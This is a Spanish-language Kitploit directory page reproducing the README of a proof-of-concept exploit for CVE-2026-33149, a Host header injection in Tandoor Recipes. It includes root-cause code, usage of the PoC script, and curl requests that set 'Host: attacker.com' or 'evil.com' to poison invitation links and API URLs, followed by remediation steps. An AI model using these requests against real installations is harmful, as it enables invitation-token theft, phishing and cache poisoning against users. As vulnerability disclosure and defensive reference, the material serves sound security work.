Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-33149-PoC — Prueba de concepto de exploit para CVE-2026-33149, una inyección de cabecera Host en Tandoor Recipes que permite el envenenamiento de enlaces de invitación y el envenenamiento de caché. Incluye módulos para la aceptación de host, paginación, esquema y envenenamiento de invitaciones. | Kitploit
Herramientas/GitHubGitHub/filipegaudard/cve-2026-33149-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPhishingSeguridad WebPruebas de Penetración
GitHubfilipegaudard/cve-2026-33149-poc

CVE-2026-33149-PoC

Ver Repositorio
hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

Prueba de concepto de exploit para CVE-2026-33149, una inyección de cabecera Host en Tandoor Recipes que permite el envenenamiento de enlaces de invitación y el envenenamiento de caché. Incluye módulos para la aceptación de host, paginación, esquema y envenenamiento de invitaciones.

Compartir

CVE-2026-33149 — Inyección de Host Header en Tandoor Recipes

CVE-2026-33149 GHSA CVSS 8.1 CWE-644

Affected Version Responsible Disclosure


Resumen

Tandoor Recipes establece ALLOWED_HOSTS = '*' por defecto en settings.py, lo que hace que Django acepte cualquier valor en el encabezado HTTP sin validación. La aplicación utiliza para generar URLs absolutas en múltiples contextos sensibles a la seguridad. Un atacante que pueda enviar solicitudes con un encabezado manipulado puede redirigir todas las URLs generadas por el servidor a un dominio controlado por el atacante.

Host
request.build_absolute_uri()
Host

El impacto más crítico es el envenenamiento de enlaces de invitación: cuando un administrador crea una invitación de usuario, el correo electrónico enviado por el servidor contiene un enlace que apunta al dominio del atacante. La víctima hace clic en un correo de apariencia legítima, el token de invitación es exfiltrado y el atacante lo utiliza para secuestrar el flujo de aprovisionamiento de cuentas.

Detalles de la Vulnerabilidad

CampoValor
ID CVECVE-2026-33149
GHSAGHSA-x636-4jx6-xc4w
CWECWE-644 — Neutralización Incorrecta de Encabezados HTTP para Sintaxis de Scripting
CVSS v3.18.1 ALTO — AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
Versión AfectadaTandoor Recipes ≤ 2.5.3
ProveedorTandoorRecipes/recipes

Mapeo MITRE ATT&CK

ID de TécnicaNombreRelevancia
T1557Adversario en el MedioManipulación de URLs generadas por el servidor para redirigir tráfico
T1566.002Phishing: Enlace de SpearphishingEl correo de invitación envenenado contiene un enlace controlado por el atacante

Análisis de Causa Raíz

1. ALLOWED_HOSTS con Comodín

Archivo: recipes/settings.py:118

root@kitploit:~
ALLOWED_HOSTS = extract_comma_list('ALLOWED_HOSTS', '*')  # default: wildcard

ALLOWED_HOSTS de Django es una medida de seguridad que valida el encabezado Host contra una lista blanca. El comodín '*' desactiva esta validación por completo, permitiendo cualquier valor arbitrario.

2. Generación de URLs Insegura en Correos de Invitación

Archivo: cookbook/serializer.py:1852-1853

root@kitploit:~
message += _('Click the following link to activate your account: ') + self.context[
    'request'].build_absolute_uri(
    reverse('view_invite', args=[str(obj.uuid)])
) + '\n\n'

request.build_absolute_uri() construye URLs utilizando request.get_host(), que devuelve el valor bruto del encabezado Host cuando ALLOWED_HOSTS no lo restringe. El UUID de invitación — un token secreto — está incrustado en la URL que ahora apunta al atacante.

3. Superficies Afectadas Adicionales

  • Paginación de API — Las clases de paginación de DRF utilizan build_absolute_uri() para las URLs next/previous
  • Esquema OpenAPI — El generador de esquemas lo utiliza para las URLs del servidor
  • Envenenamiento de Caché — Los despliegues con proxies de caché corren el riesgo de servir URLs envenenadas a todos los usuarios a partir de una sola solicitud

Flujo del Ataque

root@kitploit:~
┌──────────┐     ① Solicitud Manipulada    ┌─────────────────┐
│ Atacante │ ──────────────────────────────→│ Servidor Tandoor│
│          │   Host: attacker.com           │  ALLOWED_HOSTS=*│
└──────────┘                                └────────┬────────┘
                                                     │
                                          ② build_absolute_uri()
                                             usa "attacker.com"
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │ Servidor SMTP  │
                                            └────────┬───────┘
                                                     │
                                       ③ Correo con enlace envenenado:
                                       http://attacker.com/invite/<uuid>
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │    Víctima     │
                                            │ (hace clic)    │
                                            └────────┬───────┘
                                                     │
                                          ④ UUID enviado al atacante
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │   Atacante     │
                                            │ usa el UUID en │
                                            │ servidor real  │
                                            └────────────────┘

Prueba de Concepto

Requisitos

  • Python 3.8+
  • Biblioteca requests
root@kitploit:~
pip install requests

Uso

root@kitploit:~
# Ejecutar todos los módulos de validación con autenticación básica
python3 poc.py --target http://localhost:8085 \
               --basic-auth admin:password \
               --attacker evil.com \
               --module all

# Ejecutar todos los módulos con cookies de sesión
python3 poc.py --target http://target:8085 \
               --session <sessionid> \
               --csrf <csrftoken> \
               --attacker evil.com \
               --module all

# Solo envenenamiento de enlace de invitación
python3 poc.py --target http://target:8085 \
               --session <sessionid> \
               --csrf <csrftoken> \
               --attacker evil.com \
               --module invite \
               --email [email protected] \
               --group-id 1

Módulos

MóduloDescripción
host-acceptVerifica que el objetivo acepta encabezados Host arbitrarios (ALLOWED_HOSTS = '*')
paginationConfirma que las URLs de paginación de la API reflejan el dominio inyectado
schemaConfirma que las URLs del servidor del esquema OpenAPI reflejan el dominio inyectado
inviteCrea un enlace de invitación envenenado — el vector de ataque principal
allEjecuta todos los módulos secuencialmente

Verificación Manual (curl)

1. Aceptación del Encabezado Host

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" \
  http://TARGET:8085/api/user/ \
  -H "Host: attacker.com" \
  -u "admin:password"
# Esperado: 200 (vulnerable) | 400 (parcheado)

2. Reflexión de URL de Paginación

root@kitploit:~
curl -s "http://TARGET:8085/api/recipe/?page_size=1" \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "Host: evil.com" \
  -H "Accept: application/json"
# Esperado: {"next": "http://evil.com/api/recipe/?page=2&page_size=1", ...}

3. Reflexión de URL del Esquema

root@kitploit:~
curl -s http://TARGET:8085/api/schema/ \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "Host: evil.com" | grep -o "http://[^ \"]*" | head -3
# Esperado: http://evil.com/...

4. Envenenamiento de Enlace de Invitación

root@kitploit:~
curl -s http://TARGET:8085/api/invite-link/ \
  -X POST \
  -H "Content-Type: application/json" \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "X-CSRFToken: CSRF" \
  -H "Host: attacker.com" \
  -d '{"email":"[email protected]","group":{"id":1},"valid_until":"2027-01-01"}'
# La víctima recibe el correo: "Click: http://attacker.com/invite/<uuid>"

Impacto

Área de ImpactoDescripciónSeveridad
Secuestro de Token de InvitaciónEl atacante captura el UUID de invitación mediante el enlace de correo envenenado, secuestrando el aprovisionamiento de cuentasCrítico
Phishing de CredencialesLa víctima llega a un dominio controlado por el atacante esperando una página de registro legítimaAlto
Envenenamiento de CachéEn despliegues con proxies de caché, una sola respuesta envenenada contamina la caché para todos los usuariosAlto
Desvío de Clientes de APILas URLs de paginación y esquema redirigen a los consumidores de la API a la infraestructura del atacanteMedio

Remediación

Corrección Inmediata

Establezca ALLOWED_HOSTS para listar explícitamente sus nombres de host válidos:

root@kitploit:~
# docker-compose.yml o .env
ALLOWED_HOSTS=recipes.yourdomain.com,localhost

Defensa en Profundidad

  1. Validación en Proxy Inverso — Configure Nginx/Apache para rechazar solicitudes con encabezados Host inesperados antes de que lleguen a Django
  2. USE_X_FORWARDED_HOST = False — Asegúrese de que Django no confíe en X-Forwarded-Host de fuentes no confiables (el valor predeterminado es False)
  3. Refuerzo de Enlaces SMTP — Utilice una configuración explícita de SITE_URL para la generación de enlaces en correos en lugar de depender de request.build_absolute_uri()

Referencias

  • GHSA-x636-4jx6-xc4w
  • CVE-2026-33149
  • CWE-644: Neutralización Incorrecta de Encabezados HTTP
  • Documentación de Django sobre ALLOWED_HOSTS
  • MITRE ATT&CK T1557 — Adversario en el Medio
  • MITRE ATT&CK T1566.002 — Phishing: Enlace de Spearphishing

Aviso Legal

Esta prueba de concepto se proporciona únicamente con fines de pruebas de seguridad autorizadas y educativos. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el uso indebido de esta herramienta.


Autor

Filipe Gaudard — Investigador de Seguridad Ofensiva | eWPT | eWPTx

  • GitHub: @FilipeGaudard
  • LinkedIn: Filipe Gaudard
Descargar herramienta